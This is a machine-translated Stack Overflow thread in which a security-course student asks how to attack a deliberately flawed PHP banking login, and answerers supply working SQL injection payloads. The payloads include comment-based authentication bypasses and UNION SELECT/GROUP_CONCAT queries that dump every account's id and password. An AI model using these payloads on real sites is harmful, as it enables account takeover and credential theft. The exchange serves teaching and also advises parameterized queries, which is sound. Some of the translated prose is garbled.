用php进行SQL注入攻击

用php进行SQL注入攻击,php,mysql,sql,sql-injection,Php,Mysql,Sql,Sql Injection,这是我计算机安全课作业的一部分,所以我不是在寻找具体的答案,只是寻求一些帮助 我们得到了一个错误的程序(在php中)来控制sql数据库(银行帐户),我们必须找到一种方法来创建sql注入攻击,让我们在不提前知道帐户ID的情况下登录帐户 我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用 所讨论的代码(有点长,但唯一重要的部分是第一部分): 我在ID输入中尝试了几个字符串(我正在使用浏览器),例如 尝试注释掉命令的密码部分。我对SQL非常陌生,所以我想我只是把它格式化错了 或者我完全忽略了一个

这是我计算机安全课作业的一部分,所以我不是在寻找具体的答案,只是寻求一些帮助

我们得到了一个错误的程序(在php中)来控制sql数据库(银行帐户),我们必须找到一种方法来创建sql注入攻击,让我们在不提前知道帐户ID的情况下登录帐户

我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用

所讨论的代码(有点长,但唯一重要的部分是第一部分):

我在ID输入中尝试了几个字符串(我正在使用浏览器),例如

尝试注释掉命令的密码部分。我对SQL非常陌生,所以我想我只是把它格式化错了


或者我完全忽略了一个更明显的漏洞。

你在上学,我不想给你答案P

考虑到查询未参数化的事实

注意撇号的位置

请记住这个问题:

Select field
FROM table
WHERE field = '<-- Note these -->'
SELECT * FROM accounts WHERE id = id -- AND password = '$password'
选择字段
从桌子上
其中字段=“”
不过你走对了路

课程

总是,总是,如果可以,总是使用参数化查询。PDO也是在PHP中访问DBs的好方法

示例


anything'或'x'='x
您需要确保注释掉查询的其余部分,这样引号就不会绊倒您,任何额外的子句都会被忽略

尝试将ID设置为:

0 OR id=id -- 

--
(即连字符,连字符,空格:空格很重要)是MySQL中的一条注释。

黑客攻击并不好,但是:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"
在一个id字段中

1 --
2 --


这样,您就可以作为每个用户登录了

基本上,您可以使用
GET
POST
进行攻击。GET方法要简单得多,只需使用所需的SQL创建一个名为
id
的URL参数即可

http://www.somesite.com/FCCU.php?id=id -- 
您可能需要对其进行URI编码,只需先尝试未编码即可。然后,服务器将运行查询:

Select field
FROM table
WHERE field = '<-- Note these -->'
SELECT * FROM accounts WHERE id = id -- AND password = '$password'
由于密码条件被注释掉,并且
其中id=id
相当于
其中TRUE
,因此其工作方式与以下相同:

SELECT * FROM accounts

然后,该查询的返回值存储在一个变量中,该变量包含站点数据库中每个人的所有帐户信息。因为他们正在将该变量传递给调试函数,所以您只需打开调试模式,就可以看到每个人的机密登录和密码信息。

利用SQL注入是一种提供值的艺术,当将这些值合并到SQL语句中时,生成有效的SQL语句语法,同时将开发人员想要的语义更改为对攻击者有利的语义

现在,如果我们看一下您的id为
100或id=id的尝试和密码,生成的SQL如下所示:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'
100 OR id=id OR id
现在您可以看到,这有两个问题:

  • 只支持执行一条语句,如果有多条语句,则抛出错误
  • 即使支持多条语句,返回值也将是第二条语句的结果,这显然是无效的
  • 所以要解决这个问题,最简单的方法是插入一个,它的语法是
    #
    --
    ()用于注释,直到行结束。因此,您可以使用以下之一作为id:

    或者您插入一个独立的
    子句,但没有如下注释:

    SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'
    
    100 OR id=id OR id
    
    这将导致:

    SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'
    
    在这里,
    id=id
    对于每一行都是正确的。

    您可以将其作为id输入(例如id为123的帐户):

    诀窍在于,第二部分的计算结果为FALSE,因此您只能得到id=123作为结果。使用true条件将导致所有行,因此如果对表进行排序,则可能会得到id=1

    下一步是检查生成的页面,并查看隐藏密码字段。然后,您将能够使用正确的id和密码发送更多查询。

    内容包括

    然而,我注意到,在最初的问题中,有一点是“让我们在事先不知道帐户ID的情况下登录帐户”

    假设您预先知道名称(但不知道id),那么您可以将id设置为如下所示

    0 OR (first='joe' AND last='bloggs') -- 
    
    我还倾向于将密码设置为以下内容:-

    ' OR (first='joe' AND last='bloggs') -- 
    
    这样,在用户ID之前检查密码的查询(例如,余额检查)也可以工作

    为了让你开心,你可以尝试一些其他有趣的东西。将id设置为类似以下内容:-

    0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    
    ' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    
    以及类似以下内容的密码:-

    0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    
    ' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    
    然后在account_info函数中输出实际密码(您可能需要再添加几次“、password”,以便列计数与accounts表中的列数匹配)

    或者,如果您需要所有ID:-

    0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 
    
    密码和密码:-

    ' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 
    
    类似这样的内容应该为您提供系统中的所有ID和密码(取决于组_CONCAT的最大长度限制)。这样你就可以用你想要的id和密码登录了


    我复制了您的脚本并创建了一个测试表,上面的工作正常。

    您的思路是正确的,但在使用OR子句之前,需要在SQL中结束字符串,仅此一点在语法上是不正确的-您还需要注释掉sql查询的其余部分以避免语法错误。这些sql查询中的任何一个都是在注入中打开的。将ID设置为
    0或1=1;——
    --
    是MySQL中的注释。或者更有趣的是,将ID设置为有效ID,将密码设置为
    ”或1=1;——
    @RocketHazmat试图更新您的答案,但您已将其删除?唯一的问题是它需要在OR之前加上一些东西,否则它看起来像
    WHERE id=OR id=id;——
    @MrCode:我删除了an